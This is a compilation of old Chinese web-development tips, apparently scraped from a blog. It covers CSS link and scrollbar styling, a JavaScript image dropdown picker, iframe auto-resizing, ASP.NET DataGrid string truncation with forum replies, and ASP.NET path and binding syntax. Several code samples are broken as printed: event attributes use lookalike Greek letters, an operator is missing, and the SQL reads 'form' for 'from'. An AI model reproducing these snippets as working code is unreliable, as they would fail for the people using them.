       </body> 
    保持layer在最前面,而不被Iframe、Object所覆盖   
       在Layer中再插Iframe 或 Object 设z-Index值
    <div z-Index:2><object xxx></object> # 前面
    <div z-Index:1><object xxx></object> # 后面
    <div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"> height=100% width=100%>
    </td>
    </tr>
    </table>
    <iframe width=0 height=0>
    </iframe>
    </div>
    <div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1">
    <iframe height=100% width=100%>
    </iframe>
    </div>
    改变滚动条颜色     
       <STYLE>
       BODY {
    scrollbar3dLightColor: #ff0000; /*滚动条亮边的颜色 scrollbarArrowColor: #ff0000; /*上下按钮上三角箭头的颜色 scrollbarBaseColor: #ff0000; /*滚动条的基本颜色 scrollbarDarkShadowColor: #ff0000; /*滚动条强阴影的颜色 scrollbarFaceColor: #ff0000; /*滚动条凸出部分的颜色 scrollbarHighlightColor: #ff0000; /*滚动条空白部分的颜色 scrollbarShadowColor: #ff0000; /*立体滚动条阴影的颜色 scrollbarTrackColor: #ff0000 /*滚动条的背景颜色
       }
       </STYLE> 
       说明:
    1、必须是ie5.5+
    2、当页面内容超出屏幕出现移动条时,设置的箭头颜色才有效 
    3、母页的设置对iframe窗口的滚动条颜色无效,但是对textarea文本筐的滚动条有效
    如何实现定义的超级链接文字颜色? 
      许多文章和教程都介绍过文字超级链接的颜色(包括未被访问的链接颜色、鼠标的链接上的颜色、已被访问过的链接颜色等等)可以用层叠样式表(CSS)定义,但真正在网页中要实现颜色按自己的意愿变化还确实不容易。下面把一些注意事项告诉你,你就能随心所欲地设置文字链接的颜色了。 
      1)超级链接的默认颜色是:未被访问的超级链接是蓝色、被访问过的超级链接是紫色; 
      2)要想使CSS定义的颜色起作用,在超级链接的文本的颜色属性中什么都不要填; 
      3)若你已定义了文本的颜色,发现CSS中定义的超级链接颜色不起作用,你可以取消文本的颜色定义,或取消超级链接再重新定义一次,CSS定义的颜色就起作用了; 
      4)超级链接上各种状态下文本颜色的关系:一旦定义了被访问过的链接的颜色(A: visited),则当链接被访问过后,该链接的颜色不再改变,即定义鼠标在超级链接上的颜色(a: hover)将不起作用了。若不定义被访问过的链接的颜色(A: visited),则当鼠标在超级链接上显示a: hover 中定义的颜色,当鼠标移开时显示a 中定义的颜色。 
       从上述可以看出,文本链接的颜色实际上只能在两种颜色之间变换,并没有象有些文章中讲的那样可以在多种颜色之间变换,但由于用那两种颜色可以任意,所以应该讲颜色的选择范围还是比较大的。 
    有些网页的链接,原先没有下划线,你把鼠标指向链接处,才会出现下划线,鼠标移掉下划线就又没有了。如何实现这种效果呢? 
      可用层叠样式表(CSS)来实现的,在Dreamweaver3中编辑层叠样式表不用编写代码,具体操作方法如下: 
      1)在快速启动栏中点击层叠样式表按钮(就是把鼠标放上去显示"show css styles"的那个按钮),在弹出的CSS Styles面板上双击(none); 
      2)此时,可看到弹出的Edit Style Sheet 面板,在该面板上按New按钮; 
      3)再在弹出的New Style 面板上点取Redefine HTML Tag(重新定义HTML标记)再在Tag中选择"a"(超级链接标记)标记后按OK按钮; 
      4)这时可看到弹出的Style dehinition for a 的对话框,在此对话框中可以设置超级链接的许多属性,你可以按你的意愿设置,但我们这里主要是要去掉那讨厌的下划线,所以我们在decoration 属性中选择"none",这样就把下划线去掉了;然后我们再选择颜色为:#339966。按OK按钮返回到Edit Style Sheet 面板; 
      5)在Edit Style Sheet 面板上再按New按钮; 
      6)在弹出的New Style 面板上点取Use CSS Selector ,再在该面板上的selector选择框中选择"a:hover"(定义当鼠标在超级链接上时链接的属性),按OK按钮; 
      7)在弹出的Style dehinition for a:hover 的对话框中,我们在decoration 属性中选择"underline",这样就把下划线又加上了;然后我们再选择颜色为:#FF3300。按OK按钮返回到Edit Style Sheet 面板; 
      8)在Edit Style Sheet 面板上再按Don按钮,至此所有设置结束,你在Dreamweaver3的源代码检视窗中将看到在<head>与</head>之间如下所示的代码:
      <style type="text/css">
      <!--
      a { color: #339966; text-decoration: none}
      a:hover { color: #FF3300; text-decoration: underline}
      -->
      </style> 
      有了这段代码,你在该网页上的所有文字链接在浏览器中显示时没有下划线,当你把鼠标指向链接处,才会出现下划线,鼠标移掉下划线就又没有了。若你想在其它网页中也具有这种效果,你可以用上述方法设置或更简单点,直接把这段代码复制,粘贴到<head>与</head>之间即可。注意:若不是在a 中定义除去下划线而是在a: link中定义除去下划线,在实际使用时不能除去下划线,我是在IE4.0环境下测试的。 

    用JavaScript制作图片下拉选择器
    http://tech.tom.com  2003年01月21日来源:太平洋电脑网暖阳
    来自:
    http://tech.tom.com/Archive/1380/1384/2003/1/21-54389.html
    相信大家都见过一些软件里的图片下拉选择控件吧?喏,OICQ中就有。但网页上的你见过没有?小阳今天就为你推出你心怡已久的这个控件,下面演示中就是了!效果还可以吧?心动不如行动,我们来看下是怎么弄出来的。
    我们先来看下做出这个控件需要解决哪些问题。

    第一,图片下拉列表框是一个层,它在选择提示框点击时出现,出现后在选择图片或窗体点击时再隐藏。

    它出现时位置要在选择提示框的正下方;隐藏实际上可以把它的位置定在屏幕之外(style.pixelLeft=-800)。

    第二,图片下拉列表框的位置。选择提示框不是层,图片下拉列表框出现的位置要在选择提示框的正下方,就必须读取选择提示框在窗体中的绝对位置,不能受选择提示框的位置和屏幕分辨率的影响。

    我们可以用“Object.offsetLeft”和“Object.offsetTop”获取对象(Object)在其父容器(offsetParent)中的相对位置。于是我们可以用while()循环向高一级父容器一层一层读取相对位置,它们的代数和就是该Object在最上层容器(窗体)中的绝对位置了。

    第三,图片下拉列表框的滚动,要保证自动滚动到相应的图片出现在列表框的顶端:当手动滚动停止时,如果滚动条趋势是向下滚动,则自动继续向下滚动直至最近的图片在列表框的顶端,反之亦然。

    例子中我们将所有供选图片命名为“0.gif”、“1.gif”……“9.gif”,并放在“head”目录下。下面我们以实际程序解决这些问题:

    < !--建立表单-- >
      < form name="myform" method="post" action="" >请选择图片:
      < div id="imgBox" >< !--这里是图片下拉选择器的位置-- >< /div >
      < input name="myhead" type="text" id="myface" size="10" value="" >
      < /form>
      < script language="JavaScript" >
      < !--
      var imgWidth=64; //列表框中图片的宽度;
      var imgHeight=64; //列表框中图片的高度;
      var imgSrc="head/数字序号.gif"; //供选图片的路径。"数字序号"四字将在程序中替换为0,1,2...,不要手工更改为数字 ;
      var selectedNo=7; //默认选定的图片序号;
      var selecteSize=2; //下拉列表框中显示的图片数;

    /* 以下把图片和层输出在"imgBox"的位置:
      我们用变量"isin"记录鼠标是否在该控件上;用CSS定义下拉列表框的滚动条,  "overflow-x:hidden;overflow-y:scroll;"指水平方向不滚动,竖直方面滚动;
      用for()循环依次把图片输出到下拉列表框。
      */
      var myHTML='< SPAN οnmοuseοver="isin=true" οnmοuseοut="isin=false">';
      myHTML+='< table width="1" οnclick="showlist(this)" title="选择提示框" border="0" cellspacing="0" cellpadding="0" >< tr >< td >< img name="imgselected" border=1 src="'+imgSrc.replace("数字序号",selectedNo)+'" WIDTH='+(imgWidth)+' HEIGHT='+imgHeight+' >< /td >< td valign=top >< img src="menu.gif" >< /td >< /tr >< /table >';
      myHTML+='< DIV οnscrοll="scrollud()" id="imgBox" /n';
      myHTML+='style="position:absolute;left=-800;top=0;background-color:#FFFFFF;border: 1px solid #000000;overflow-x:hidden;overflow-y:scroll; width:'+(imgWidth+20)+'px; height: '+imgHeight*selecteSize+'px" >';
      for(i=0;i<10;i++){
      myHTML+="
    ";
      }
      myHTML+= "< /DIV >< /SPAN >";
      imgBox.outerHTML=myHTML;

    /* 以下控制下拉列表框的出现或隐藏 */
      function showlist(obj){//这个函数将在选择提示框点击时激活
      //如果列表框已经出现,这次点击则隐藏:
      if(imgBox.style.pixelLeft!=-800){imgBox.style.pixelLeft=-800; return;}

    //读取选择提示框在窗体中的绝对位置:
      //在父容器中的相对位置:
      var mytop=obj.offsetTop;
      var myleft=obj.offsetLeft;
      //依次读取父容器在更高一级父容器中的相对位置:
      while(obj=obj.offsetParent){
      myleft+=obj.offsetLeft;
      mytop+=obj.offsetTop;
      }
      //现在已经得到选择提示框的绝对位置myleft和mytop。
      //下拉列表拉就出现在这个绝对位置的正下方:
      imgBox.style.left=myleft;
      imgBox.style.top=mytop+imgHeight+2;

    }

    var isin=false;
      function selectme(obj){ //这个函数将在窗体点击或选定图片时激活,窗体点击中传递的参数是null。
      if(!isin||obj){imgBox.style.pixelLeft=-800;} //隐藏列表框
      if(obj){
      //改变选择提示框中的图片和"myhead"输入框中的值:
      //listID是对象的自定义属性,即在对象的标签中定义了这个属性值,现在就可以读取或改变。
      myform.myhead.value=imgSrc.replace("数字序号",obj.listID);
      document.images["imgselected"].src=imgSrc.replace("数字序号",obj.listID);
      }
      }

    /* 以下控制下拉列表框的自动滚动 */
      var mytime=setTimeout("",0);
      var pre_X=0; //这个变量用来记录滚动前滚动条的位置
      function scrollud(){ //本函数在下拉列表框滚动时被激活
      var current_X=imgBox.scrollTop; //记录函数激活时滚动条的位置
      //判断向上还是向下滚动,并自动滚动到"imgHeight"的整数倍。
      //我们改变列表框的scrollTop值时,会自动激发其onscroll事件,循环激活本函数。
      if(current_X>pre_X && imgBox.scrollTop< Math.ceil(imgBox.scrollTop/imgHeight)*imgHeight){
      clearTimeout(mytime);
      mytime=setTimeout("imgBox.scrollTop=Math.round(imgBox.scrollTop+1);",1);
      }
      else if(current_X Math.floor(imgBox.scrollTop/imgHeight)*imgHeight){
      clearTimeout(mytime);
      mytime=setTimeout("imgBox.scrollTop=Math.round(imgBox.scrollTop-1);",1);
      }
      pre_X=current_X;
      }
      //使列表框自动滚动到默认选定的图片位置,并给"myhead"输入框以默认值
      function init(){ //本函数在每个列表框中的图片加载时激活
      imgBox.scrollTop=selectedNo*imgHeight;
      myform.myhead.value=imgSrc.replace("数字序号",selectedNo);
      }

    /* 以下使窗体点击时selectme(obj)函数被激活: */
      myActivation="selectme(null)";
      if(document.body.onclick)
      {
      eval(document.body.onclick.toString().replace('anonymous()','bodyclick()'));
      document.body.οnclick=new Function("bodyclick();"+myActivation);
      }
      else document.body.οnclick=new Function(myActivation);
      -- >
      < /script>

    程序最后“使窗体点击时selectme(obj)函数被激活”部分可以用document.body.οnclick=new Function("selectme(null)")简单替换之。但为了不和其它程序的窗体点击事件冲突,我们用了这段代码。详见拙作《完美解决一个事件激活多个函数》。你也可以将"myhead" 的type值设为"hide",这里为了演示,就将它显示了出来。

    好了,这个控件“图片下拉选择器”已经做好了,把它应用到留言本、论坛等动态交互的网页上,真是最好不过了!

    一个事件激活多个JavaScript函数
    --------------------------------------------------------------------------------
    http://tech.tom.com  2003年01月15日来源:太平洋电脑网暖阳
    来自:
    http://tech.tom.com/Archive/1380/1384/2003/1/21-54389.html
    如果你的网页中一个“OnLoad”事件要激活两个以上的JavaScript函数,那怎么办呢?小阳曾查阅了不少资料,结果都不尽如人意,无非是程序员根据情况,把要激活的函数统一放在一个函数里激活。
    但作为一个程序员,编写的代码的适用性是很重要的。请看下面一个例子:

    < BODY OnLoad='alert("这是标签调用的函数")'>
      < script language="JavaScript">
      function myfunction(){
      alert("这是JS脚本调用的函数");
      }
      document.body.οnlοad=myfunction;
      < /script>
      < /BODY>

    运行后你会发现,它只跳出一个“这是JS脚本调用的函数”的警告框。< BODY>标签中要求激活的函数被“忽略”了。当然你可以运用前面提过的方法,把两个函数放一个函数里激活。但这样有不少弊端,特别是如果把这段JavaScript代码写成一个"myjs.js"文件,要用它的话直接加上< script language="JavaScript" src="myjs.js">< /script>即可,但如果还要在引用文件的页面中根据情况修改标签或者添加一段代码,多麻烦呀。这就降低了代码的适用性了。

    可不可以在编写JavaScript代码时就设计好,如果前面OnLoad事件已经有函数要激活,让它仍然激活前面的函数,但同时也激活本段代码所需要的函数?答案是肯定的。我们先看下这段代码:

    < BODY OnLoad='alert("这是< BODY>标签调用的函数")'>
      < script language="JavaScript">
      // document.body.onload是函数(function)型,用toString()函数转为字符串(string)型:
      alert(document.body.onload.toString());
      < /script>
      < /BODY>

    运行后其中一个警告框中提示:

    function anonymous()
      {
      alert("这是标签调用的函数")
      }

    发现什么了吗?“document.body.onload.toString()”就是上面这段函数代码!我们这段字符串作为代码的一部分运行,那么我们就多了一个函数“anonymous()”,于是将这个函数和我们现在需要激活的函数一起激活就行了!

    下面我们以第一次提到的代码为例进行修改,得到最终代码:

    < BODY OnLoad='alert("这是标签调用的函数")'>
      < script language="JavaScript">
      function myfunction(){
      alert("这是JS脚本调用的函数");
      }
      //现在我们要激活的函数是“myfunction()”,原来要激活的函数是标签里的“alert()”,
      //下面这段代码可以两个一起激活:
      myActive="myfunction()";
      if(document.body.onload.toString())
      {
      eval(document.body.onload.toString().replace('anonymous()','bodyload()'));
      document.body.οnlοad=new Function("bodyload();"+myActive);
      }
      else document.body.οnlοad=new Function(myActive);
      < /script>
      < /BODY>

    上段代码中,变量myActive是JS代码中要激活的函数,eval(string)函数是把其字符串参数当作是JavaScript脚本来运行。我们把document.body.onload.toString()中的“anonymous()”替换为“bodyload()”,得到一个新函数“bodyload()”,它包含了所有原来要激活的函数,再把函数“bodyload()”和我们要激活的函数一起在OnLoad事件中激活。

    为什么要把“anonymous()”替换为“bodyload()”呢?因为这个方法适用于所有事件(例如OnMouseOver),而所有事件toString()都是得到“anonymous()”,为了不和其它事件也用了这个方法冲突,我们把它替换掉。在其它事件中也依此替换即可。

    好了,我们运行一下最终代码,如你所愿地两个函数都激活了吧?添加的代码也挺简单,有挺强的适用性。


    使内嵌的iframe自动适应嵌入页内容的高度实现无缝嵌入!
    方法一、用JS这样(测试通过)

    a.html

    加在页面最后 
    <script language="Javascript">
    function doIt()
    {
    parent.document.all.yibo.style.height=document.body.scrollHeight;
    }

    οnlοad=doIt

    </script>


    --b.html--

    <iframe name="yibo"  scrolling="no" frameborder="0" src="a.html"" marginwidth="0" marginheight="0" width=100%>


    方法二、(我没测试通过得有人说可以,可能与浏览器有关)
    --main.htm--

    <td id="iid"> 
    <iframe src="list.htm name="mn" scrolling="no" border="0" frameborder="0" height="100%"></iframe>
    </td>


    --list.htm--

    <body οnlοad="parent.document.all.idd.height=document.body.scrollHeight">


    方法三、
    function resize() {
       if (parent)
       {
          i = parent.document.getElementById(window.name);
          iHeight = document.body.scrollHeight
          i.style.height = iHeight;
       }
    }

    然后
    <body οnlοad="resize()">

    方法四、从父窗口中让iframe响应被嵌网页的高度


    把这段代码放在iframe的页中

    'content'是iframe的名字


    function frame_resize()
    {
       if(document.readyState=="complete")
       {
          if (typeof(parent.document.all['content']) != "undefined" && document.body.scrollHeight > 400)
          {
             setTimeout("parent.document.all['content'].style.pixelHeight=document.body.scrollHeight;",200);
          }
       }
    }


    注:
    父窗口取得iframe中页面的高度:

    <iframe id="a1" src=""></iframe>
    <iframe id="a2" src="
    http://www.sina.com.cn"></iframe>

    <script>
    alert(a1.document.body.offsetHeight);
    alert(a2.document.body.offsetHeight);
    </script>


    方法五、自已做的测试,还没成功

    a.htm
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>无标题文档</title>
    </head>

    <body>
    <iframe  id="content"  src="c.html" align="middle" frameborder="0" height="300" hspace="0" marginheight="0" marginwidth="0" scrolling="no" vspace="0" width="300"></iframe>
    </body>
    </html>
    <script language="javascript">
    function resize()
    {
    //   document.content.width=document.content.document.innerHTMLwidth;
       document.all["content"].width=document.body.scrollwidth;

    //   document.content.height=document.content.document.innerHTMLheight;
       document.all["content"].height=document.body.scrollHeight;
    }
    οnlοad=resize

    </script>


    c.htm
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>无标题文档</title>

    </head>

    <body>
    <p>  针对近日Windows NT/2000源代码泄漏引发的全球下载狂潮,微软公司今天警告那些拥有泄漏出来的源代码的社区论坛尽快撤掉泄漏的源代码相关内容。 </p>
    <p>  在当地时间星期二确认了Windows NT 4.0、Windows 2000源代码泄漏事故后,微软随即立刻开展了自内而外的一些例行调查,并且已经向部分从网上下载了泄漏源代码的个人发出了法律通告。微软官方目前拒绝透露这份通告的详细内容,但是根据国外网站Bink.nu的一份报道显示,微软至少已经向一人发出了通告,通告非常明确地告诉他:你已经违反了版权法。 </p>
    <p>  “未经授权的,对任何受微软保护的源代码的复制、发行,都是违反民法、刑法以及商业秘密法的行为。”Bink.nu引用了这个通告,“如果你下载了这份代码或把这份代码提供给更多人下载,你就侵犯了微软公司的权利,将可能遭到严厉的民事和刑事制裁。”这封通告要求那些拥有这份代码的个人立刻停止传播、立即销毁此代码,并告知微软公司代码的获取源头。 </p>
    <p>  据Bink.nu的报道,已收到微软通告信的人此前曾下载过这份源代码,并将它放到P2P网络上,从而使得代码被自动共享。据收信人本人表示,微软是在一个频道中追踪到他的行迹并最终通过他的ISP(网络服务提供商)把通告信转到他手上的。 </p>
    <p>  这封通告信还写道,“微软认为此次事件非常严峻,并将继续对参与散布其源代码的个人采取法律行动。我们希望得到你的配合。如果你需要与我们取得联系,请使用上面的地址。” </p>
    <p>  微软发言人Tom Pilla证实了微软已经发出传播代码警告信的消息,“我们正在采取一切适当的法律手段来保护我们的知识产权”,但是他拒绝透露更多细节。另据法律专家表示,除了非法获得源代码者以外,其他已经下载了源代码的个人——尤其是开发人员,可能面临其他麻烦,因为私自查看Windows源代码的个人将可能被指控侵害商业秘密和软件专利权。 <br>
    </p>
    </body>
    </html>


    回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    在输出记录的同时,判断记录条件做相应显示,在asp中很容易实现,但在.net中这个问题几乎很难.下面说说他的两种解决方法:(假设你有个字段为title,字段记录长度大于30时,截断和加上"..."),推荐第二中方法,思路比较清晰,而且很通用,用Sql语句实现,还有类型转换问题。。。

    1.Sql语句实现:
    string str_Sql="CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE title END as title form 数据库表"

    2.直接在.net中实现:
    在cs后台代码程序中编写截取30个字符函数
    public string GetCharacter(string str_Value)
          {
             if (str_Value.Length>30)
             {
                return str_Value.Substring(0,30)+"....";
             }
             else
             {
                return str_Value;
             }
          }

    在aspx文件调用它:

    <%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %>

    Sql语句中有
    CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE content END as title form 数据库表

    case是什么意思 select ? 没看过
    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    条件语句,看下sql server帮助...

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    厉害!
    不过我觉得SQL写的时候应该没有这么麻烦,在ORACLE中用SUBSTR这个函数就可以了
    select substr('字段名',0,30) from table
    就直接可以取前30位的字符,对于双字节的也同样适用,如果字段不足30位,它自己会用空格填充的,
    这样数据库的压力比较小,效率也就高很多了!

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    是的,我知道这个是条件语句,而且也用过的,但是当时测试的时候,条件语句的速度是远低于函数的速度的!还要考虑效率吧!^_^

    刚才查了一下,好像SQL SERVER 中没有这样的函数,看来也只能写条件语句了!

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    string str_Sql="CASE WHEN len(title)>30 THEN left(title,30)+'...' ELSE content END as title form 数据库表"
    len() 函数类型为char或者nvarchar或者varchar类型,当字段为text类型时,必须转换成字符类型,但别忘了,text类型只有16位字节,也就是保存的是字段的内存地址,指针,所以用了,convert(char,字段)得到是内存地址,而不是实实在在的记录...

    不好意思,我说的是在ORACLE数据库中的情况,在SQL SERVER中我没有做过测试!
    在ORACLE中一般就定义为VARCHAR2型就可以了!

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    用模板列也可实现此功能,我想问的是如何更改显示出来字的颜色?如:列值为1时就显示红色1,为2时就显示蓝色的2?我以前发贴问过,但没人解决。

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    这个是解决改变列的显示颜色!
    在DataGrid的ItemDataBind事件里写
    if((e.Item.Cells[6].Text)=="2")//假设性别字段在第6行
      e.Item.BackColor=Color.Blue;
    if((e.Item.Cells[6].Text)=="1")
      e.Item.BackColor=Color.Red;

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    sql用这个。
    select substring(字段,0,3) from 表

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    在aspx文件调用它: 

    <%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %> 
    我不知道为什么就是调不出来。

    <%#  GetCharacter(DataBinder.Eval(Container.到这里就没了。

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    当然,这个可是aspx页面啊。。。

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    csl.cs代码

    public string aaa(string str)
          {
             if(str.Length>3)
             {
                return str.Substring(0,30)+"...";
             }
             else
             {
                return str;
             }
          }
          public DataTable sy()
          {
             CmdString="select 价格 from 数据表";
             return SelectCommand().Tables[0];
          }

    aspx.cs
    private void Page_Load(object sender, System.EventArgs e)
          {
             if(!Page.IsPostBack)
             {
                see();
             }
          }

          private void see()
          {
             csl objData=new csl();
             dt1=objData.sy();
             DataGrid1.DataSource=dt1.DefaultView;
             DataGrid1.DataBind();
          }

          #region Web Form Designer generated code
          override protected void OnInit(EventArgs e)
          {
             //
             // CODEGEN:该调用是 ASP.NET Web 窗体设计器所必需的。
             //
             InitializeComponent();
             base.OnInit(e);
          }
          
          /// <summary>
          /// 设计器支持所需的方法 - 不要使用代码编辑器修改
          /// 此方法的内容。
          /// </summary>
          private void InitializeComponent()
          {    
             this.DataGrid1.UpdateCommand += new System.Web.UI.WebControls.DataGridCommandEventHandler(this.DataGrid1_UpdateCommand);
             this.DataGrid1.SelectedIndexChanged += new System.EventHandler(this.DataGrid1_SelectedIndexChanged);
             this.Load += new System.EventHandler(this.Page_Load);

          }
          #endregion

          private void DataGrid1_SelectedIndexChanged(object sender, System.EventArgs e)
          {
             
          }

          private void DataGrid1_UpdateCommand(object source, System.Web.UI.WebControls.DataGridCommandEventArgs e)
          {
             csl objData=new csl();
          }
    现在可以显示数据了。可是怎么应用你的方法阿。

    你直接把该函数放在aspx.cs文件就可以啊
    然后aspx.aspx这样调用:<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %> 
    上面说得很明白。。。

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    方法是多种的,
    通过传递0或1,编写一个返回string的函数,返回空字符串,或者<img src=...>

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    <%#  GetCharacter(DataBinder.Eval(Container.DataItem,"Title").ToString())%>
    这句话应该放在datagrid里面的什么地方呢?我还没有搞懂,5555555555555
    下面是我datagrid中的一个绑定列,我该放在那里呢?
    <Columns>
    <asp:BoundColumn DataField="Title" HeaderText="报送时间">
    </asp:BoundColumn>
    </Columns>
    请大侠告诉我应该把它放在那一处呢?不知道我有没有说清楚

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    这是我的邦定列
    <Columns>   
    <asp:BoundColumn DataField="news_id" HeaderText="新闻ID"></asp:BoundColumn>
    <asp:BoundColumn DataField="title" HeaderText="新闻标题"></asp:BoundColumn>
                </Columns>
    ---------------------------------------------
    那<%#  GetCharacter(DataBinder.Eval(Container.DataItem,"title").ToString()) %>放在哪里呢

    Re:回答很多朋友在DataGrid等网格控件绑定字段做判断问题...
    看看俺的函数:也许对您有用,截取自定义长度字符串
    public string CovertStr(string Str,int strLen) 

       int strTrueLen=Str.Length; 
       if(strTrueLen>=strLen) 
       { 
          return Str.Substring(0,strLen)+"..."; 
       } 
       else 
       { 
         return Str; 
       } 


    小技巧:解决js文件嵌套到aspx文件中,经常出错方法
    用记事本打开后,另存一次,不过要注意的是:底下编码类型请选择:unicode
    这样就ok了,不会老出现烦人的错误。
    注:该方法是小笨笨同学发现的。
    我遇到乱码就老用这个方法

    这个SQL如何写?
    ManagerID是主管的ID

    ID  Name ManagerID Result
    1   aa    3         200
    2   bb    1         300
    3   cc    2         400
    4   dd    1         500
    选出Result比主管要大的Name
    ID是当前的用户ID
    它的主管ID是ManagerID 

    Re:这个SQL如何写?
    他的意思可能是ManagerID=3为主管id,ManagerID应该唯一.

    Re:这个SQL如何写?
    实现如下(结果是bb,cc,dd):
    SELECT a.name
    FROM table as a INNER JOIN
          dbo.table as b ON a.ManagerID = b.ID AND 
          a.Result > b.Result
    你可以用视图做,下面是我用视图实现:
    做视图,很容易思想:
    CREATE VIEW dbo.v_table1
    AS
    SELECT dbo.table1.Name
    FROM dbo.table1 INNER JOIN
          dbo.table1 table1_1 ON dbo.table1.ManagerID = table1_1.ID AND 
          dbo.table1.Result > table1_1.Result

    展开全文
  • ASP.net难点解析

    千次阅读 2011-12-02 11:20:19
    认识Asp.net 中相对路径与绝对路径 分类: 技术文档2010-01-1217:051490人阅读评论(1)收藏举报 好多人对相对路径与绝对路径老是混淆记不清楚,我从整理了一下,希望对大家的认识有帮助。 +++++++++++++++++++++...

    认识Asp.net 中相对路径与绝对路径

    分类: 技术文档2010-01-1217:051490人阅读评论(1)收藏举报

    好多人对相对路径与绝对路径老是混淆记不清楚,我从整理了一下,希望对大家的认识有帮助。

    +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    1.Request.ApplicationPath->当前应用的目录
    Jsp中, ApplicationPath指的是当前的application(应用程序)的目录,ASP.NET中也是这个意思。
    对应的--例如我的服务器上有两个web应用域名都是mockte.com 一个映射到目录mockte.com/1/ 另一个影射到 http://mockte.com/2/
    那么mockte.com/1/就是第一个应用的ApplicationPath 同理 mockte.com/2/就是第二个应用的ApplicationPath

    2.Request.FilePath->对应于iis的虚拟目录
    如 URL http://mockte.com/1/index.html/pathinfo
    FilePath = /1/index.html

    3.Request.Path->当前请求的虚拟路径
    Path 是 FilePath 和 PathInfo 尾部的串联。例如 URL http://mockte.com/1/index.html/pathinfo
    那么Path = /1/index.html/pathinfo

    4.Request.MapPath(stringurl)->将url映射为iis上的虚拟目录
    这个目录都是相对于application的根目录的
    于Server.MapPath相比,不会包含类似c:/这样的路径
    可以理解为是相对路径(对比的Server.MapPath就是绝对路径)

    5.Server.MapPath(stringurl)->将url映射为服务器上的物理路径
    例如 http://mockte.com/1/index.html 假设你的应用程序在c:/iis/MySite中
    那么就是 c:/iis/MySite/1/index.html

    //本地路径转换成URL相对路径
    private string urlconvertor(string imagesurl1)
    {
    string tmpRootDir =Server.MapPath(System.Web.HttpContext.Current.Request.ApplicationPath.ToString());//获取程序根目录
    string imagesurl2 =imagesurl1.Replace(tmpRootDir, ""); //转换成相对路径
    imagesurl2 =imagesurl2.Replace(@"/", @"/");
    //imagesurl2 =imagesurl2.Replace(@"Aspx_Uc/", @"");
    return imagesurl2;
    }
    //相对路径转换成服务器本地物理路径
    private stringurlconvertorlocal(string imagesurl1)
    {
    string tmpRootDir =Server.MapPath(System.Web.HttpContext.Current.Request.ApplicationPath.ToString());//获取程序根目录
    string imagesurl2 =tmpRootDir + imagesurl1.Replace(@"/", @"/"); //转换成绝对路径
    return imagesurl2;
    }

     

    1.使用filePath="/Logs/abc.txt",被认为是根目录,即网页文件所在的盘符,默认的是C盘,则在这里这个路径被解释为"C:/Logs/abc.txt"

    2.使用filePath="~/Logs/abc.txt",被认为是服务器的目录

    3.使用filePath="./Logs/abc.txt",仍然是服务器目录下

     

     

    〈%# 〉与〈%=〉的区别,显示数据与绑定数据

    分类: 技术文档2010-01-1118:29368人阅读评论(0)收藏举报

    有很长时间没来 CSDN 的博客了。今天在社区里看到一个网友提问关于 asp.net 中“<%# %>” 的问题,所以还是想把这篇文章发到自己的博客上。虽然不是非常很高深的问题,但是还是应该多加留意……


    aspx页面中,<%= %> 与 <%# %> 的区别

    关于这个问题,在多数的 ASP.NET 的教材中,都提到了一些。<%= %>与<%# %>的区别在于:绑定时机不同,<%# %>是在控件调用DataBind函数的时候才被确定。对于<%= %>,我想你应该不会陌生,在ASP时代,它就相当于 Response.Write。在ASP.NET时代也一样。暂时先不去理会教材中说的,也先把“绑定时机”放到一边。<%= %>与<%# %>的区别是:前者是输出,而后者是赋值!即:

    <%="A" %> 相当于:Response.Write("A");

    <%#"A" %> 相当于:变量="A";


    先来看一个例子:


    <html>

    <body>

    <asp:Button Text=<%# "Hello, the Internet!" %> RunAt="Server" ID="testButton"/>

    </body>

    </html>



    这句话相当于赋值,把上面这个勾黑句子翻译成后台代码就是:testButton.Text="Hello,the Internet!";

    第二个例子:

    <html>

    <body>

    <%="Hello, the Internet!" %>

    <%#"Hello, the Internet!" %>

    </body>

    </html>

    <%="Hello, the Internet!" %> 就相当于:Response.Write("Hello,the Internet!");

    那么第二个<%# %>怎么解释呢?如果按照我“赋值”的说法,它把值赋给谁了呢?

    其实翻译成后台代码是这样的:(newSystem.Web.UI.LiteralControl()).Text="Hello, the Internet!";


    一段文本,虽然它不被包含在任何开始结束标签之间,但是[font='Courier]ASP.NET[/font]也认为它是一个控件。一个[font='Courier]LiteralControl[/font]控件。所以,[font='Courier]<%# %>[/font]就是把值赋给[font='Courier]LiteralControl[/font]控件的Text属性。

    我做过一个生成静态 HTML 代码的类,使用的手法是包装了 HtmlTextWriter这个类。并且我做了跟踪调试。跟踪的结果令我感到很意外。ASP.NET 会把所有的未标有“runat=server”属性的标记,统统看作是一个LiteralControl 控件。例如在上面那些 HTML 代码里,例如在文章开始处的那些 HTML 代码里,ASP.NET会认为是有三个服务器控件,分别是:LiteralControl、Button、LiteralCtontrol。第一个LiteralControl 的 Text 值为“<html><body>Hello,theInternet!”,而最后一个 LiteralControl 的 Text值是“</body></html>”。也就是说,<%= %> 应早于 <%#%>,先被“翻译”出来……

